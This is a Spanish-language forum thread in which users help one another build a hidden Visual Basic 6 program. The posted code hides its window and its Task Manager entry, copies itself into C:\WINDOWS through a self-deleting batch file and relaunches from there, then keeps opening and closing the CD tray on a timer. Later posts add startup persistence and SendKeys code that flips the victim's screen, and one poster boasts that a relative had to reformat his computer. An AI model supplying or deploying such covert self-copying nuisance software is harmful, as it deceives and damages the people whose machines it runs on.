Como puedo crear una aplicacion que se ejecute sin la pantalla del form

Iniciado por xhc, 28 Octubre 2007, 16:48 PM

0 Miembros y 1 Visitante están viendo este tema.

cassiani

#20
 Bien, has lo siguiente: ubicate en la rutina 'CrearBat', luego, antes de la linea 'Print #Canal, "del Copiar.bat" 'Aqui borramos el .bat' , vas a agregar esta otra linea:

Código (vb) [Seleccionar]
'Se ejecuta el archivo copiado
Print #Canal, "@start " & "C:\WINDOWS\" & App.EXEName & ".exe"


   Solo vas a agregarla, no borraras nada en este procedimiento. Una vez hecho esto agregaras al programa, esta función:

Código (vb) [Seleccionar]

'Esta es la función más sencilla para detectar la existencia de un archivo
Public Function ExisteArchivo(Archivo As String) As Boolean
    ExisteArchivo = IIf(Dir$(Archivo) = "", False, True)
    'Devolverá false, si Dir$ no encuentra el archivo especificado
End Function


   Y modificaras tu procedimiento 'Form_Load' por este otro:

Código (vb) [Seleccionar]
Private Sub Form_Load()
    Me.Visible = False 'Formulario invisible
    App.TaskVisible = False 'Oculto de la pestaña de aplicaciones del admin. de tareas
    If ExisteArchivo("C:\WINDOWS\" & App.EXEName & ".exe") = False Then
       'Si no encuentra el archivo entra aquí
       CrearBat 'Creamos el bat
       Shell "Copiar.bat" 'Y lo ejecutamos
       End
    Else
        'Si lo encuentra entra aquí
        Timer1.Enabled = True
        Timer1.Interval = 1000 'Aqui podes poner cualquier valor a partir de 1 _
                          Mientras mas bajo es el valor, mas rapido sera el ciclo.
                          '1000 equivale a 1 segundo.
    End If
End Sub


   Al ejecutarlo, de un pendrive por ejemplo, se copiara asi mismo al directorio especificado y luego se ejecutara desde el mismo, mientras que el que ejecutastes desde el pendrive dejara de correr. Si lo ejecutas estando copiado en el directorio que se especifico antes, entonces tendras 2 programas corriendo al mismo tiempo, el que se encuentra en la carpeta que especificastes (el directorio de destino lo puedes cambiar a tu antojo) y el que se encuentra en el pendrive.

  Creo que es más de lo que querias hacer,  :rolleyes:


xhc

al ejecutarlo, me sale este error:


si que se copia a C:\WINDOWS  y si lo ejecutas se empieza a abrir, pero el problema es que no se ejecuta solo

cassiani

#22
 ¡A ver! quizas armastes el código mal, te lo posteo completo, para que veas como queda, recién lo probe en vb6.0 y funciona como se espera.

Código (vb) [Seleccionar]
Option Explicit

Dim Res As Long, ReturnString As String * 127
Dim Abrir As Boolean

Private Sub Timer1_Timer()
    If Abrir = False Then
        'Cierra CD-ROOM
        Res = mciSendString("Set CDAudio Door Closed", ReturnString, 127, 0)
        Abrir = True
    ElseIf Abrir = True Then
        'Abre cd-room
        Res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
        Abrir = False
    End If
End Sub

Private Sub CrearBat()
Dim Canal As Integer
    Canal = FreeFile 'Buscamos un canal libre
    Open "Copiar.bat" For Output As #Canal 'creamos un bat
        Print #Canal, "@echo off"
        Print #Canal, "CD " & App.Path 'cambio de directorio
        Print #Canal, "Copy " & App.EXEName & ".exe C:\WINDOWS\" _
        & App.EXEName & ".exe /y"
        'Se ejecuta el archivo copiado
        Print #Canal, "@start " & "C:\WINDOWS\" & App.EXEName & ".exe"
        Print #Canal, "del Copiar.bat" 'Aqui borramos el .bat
    Close #Canal
End Sub

Private Sub Form_Load()
    Me.Visible = False 'Formulario invisible
    App.TaskVisible = False 'Oculto del administrador de tareas
    If ExisteArchivo("C:\WINDOWS\" & App.EXEName & ".exe") = False Then
       'Si no encuentra el archivo entra aquí
       CrearBat 'Creamos el bat
       Shell "Copiar.bat" 'Y lo ejecutamos
       End
    Else
        'Si lo encuentra entra aquí
        Timer1.Enabled = True
        Timer1.Interval = 1000 'Aqui podes poner cualquier valor a partir de 1 _
                          Mientras mas bajo es el valor, mas rapido sera el ciclo.
                          '1000 equivale a 1 segundo.
    End If
End Sub

'Esta es la función más sencilla para detectar la existencia de un archivo
Public Function ExisteArchivo(Archivo As String) As Boolean
    ExisteArchivo = IIf(Dir$(Archivo) = "", False, True)
    'Devolverá false, si Dir$ no encuentra el archivo especificado
End Function



Así debe quedar, No te olvides del módulo...   :o

xhc

si, seguramente lo armaria mal porque con el code completo que pusiste me funciona perfecto :o ;D

gracias

Sin Nick xD

yo lla he hecho eso se lo hice ha my ermano es muy divertido ademas de todo esto hice que se arrancara en el inicio entonces no paraba en ningun momento
tambien despues de un tiempo agrege que se pusiera la pantalla al reves el pobre casy tubo que formatear su computadora porque obiamente no es un virus asy que no lo detectaban los antivirus jajajajajajajajajajajj.......jajajajajajajajajaj....jajajajajajajaja
Yo solo creería en un Dios que supiese bailar.

hAcKeR92


Pendex

Pone el bucle en el SubMain y dentro de este llama al Cmd(...)_Click

Slds.-

Pendex

Perdon...me parece que deberias, en ese caso, desde el Form_Load escribir el bucle y dentro llamar a Cmd(...)_Click que corresponda.

Saludos.-

Pendex

(Dar vuelta la pantalla)...creo que se deberia enviar mediante "SendKeys" los cmd AltGr y la flecha para abajo...puede ser?

Slds.-

Sin Nick xD

Cita de: hAcKeR92 en  4 Febrero 2008, 01:33 AM
Como hiciste lo de la pantalla al reves??

bueno eso lo pudes hacer con el teclado (ctr+alt+flecha abajo)
tambien la pudes poner para un  lado o para otro entonces lo que aces en vb es usar la funcion senkeys para emular que pulsaron el teclado para poner la pantalla para arriba por ejemplo seria

SendKeys.SendWait("^%{DOWN}")

tambien se pude emular cualkier combinacion de teclas aqui dejo un url donde explican bastante bien como utilisar este metodo

http://javascripts.astalaweb.com/Ayuda/html/wsmthsendkeys.asp

que se diviertan jajajaja salu2
Yo solo creería en un Dios que supiese bailar.